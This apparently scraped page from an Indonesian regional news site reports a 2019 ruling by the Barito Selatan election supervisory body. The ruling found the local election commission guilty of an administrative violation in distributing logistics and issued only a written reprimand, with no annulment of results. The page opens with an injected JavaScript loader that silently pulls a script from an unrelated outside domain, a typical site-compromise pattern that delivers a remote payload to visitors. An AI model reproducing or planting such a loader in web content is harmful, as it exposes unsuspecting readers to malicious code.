(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BUNTOK, Bawaslu Barsel menggelar sidang putusan terkait hasil dari sidang penanganan pelanggaran administratif pemilu 2019, di kantornya Senin (27/5). Ketua Bawaslu Barsel Nur Cambyah mengatakan, sidang putusan hasil pelanggaran administratif ini oleh pelaporan dari Partai Golkar kepada terlapor KPU atas dugaan adanya penggelembungan suara di TPS 5 Desa Palu Rejo waktu pemilihan lalu.
“Jadi hari ini untuk hasil putusannya akan kita bacakan, setelah melewati beberapa tahapan persidangan yang digelar sejak Kamis lalu,†kata Cambyah
Ia mengungkapkan, bahwa Ketua dan Anggota KPU Kabupaten Barsel terbukti secara sah melakukan pelanggaran administratif pemilu tentang tata cara prosedur dan mekanisme pendistribusian logistik. “Artinya memang dari hasil pemeriksaan kita bahwa pihak KPU memang terbukti pelanggaran administratif untuk prosedur dan mekanisme pendistribusian logistik pemilu,†ucap Cambyah.
Masih kata Cambyah, terkait putusan tersebut pihaknya hanya memberikan teguran tertulis kepada pihak KPU, agar kedepannya dalam melakukan pendistribusian logistik kiranya bisa lebih cermat lagi. “Jadi untuk putusan tersebut pihak KPU memang ditemukan adanya kelalalain administratif dan oleh itu kita berikan surat teguran secara tertulis,†ujarnya.
Lebih lanjut olehnya terkait permintaan oleh pelapor untuk pembatalan hasil dari Tps5 Desa Palu Rejo. Namun dari hasil pleno sidang Bawaslu sesuai pakta dilapangan karena untuk pembatalan bukan ranah Bawaslu, maka tidak ada pembatalan hasil pemilu.
“Mengingat dari hasil dan bukti dilapangan juga tidak ditemukan adanya penyalahgunaan surat suara atau penggelumbungan di Tps 5, di luar itu kita dari Bawaslu juga tidak punya wewenang untuk melakukan pembatalan hasil pemilu,†jelas Cambyah.
Ditambahkan olehnya, untuk TPS 5 Palu Rejo tersebut surat suara yang di distribusikan 277 yang digunakan 180 dan sisanya diperlakukan oleh KPPS sesuai dengan prosedur. “Jadi sisa surat suara dicoret, kemudian dimasukkan ke kotak suara dan dimasukkan ke C1, artinya tidak ada pihak manapun yang dirugikan untuk kelebihan surat suara tersebut,†pungkas Cambyah.(digdo)
KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More
KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More
KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More
This website uses cookies.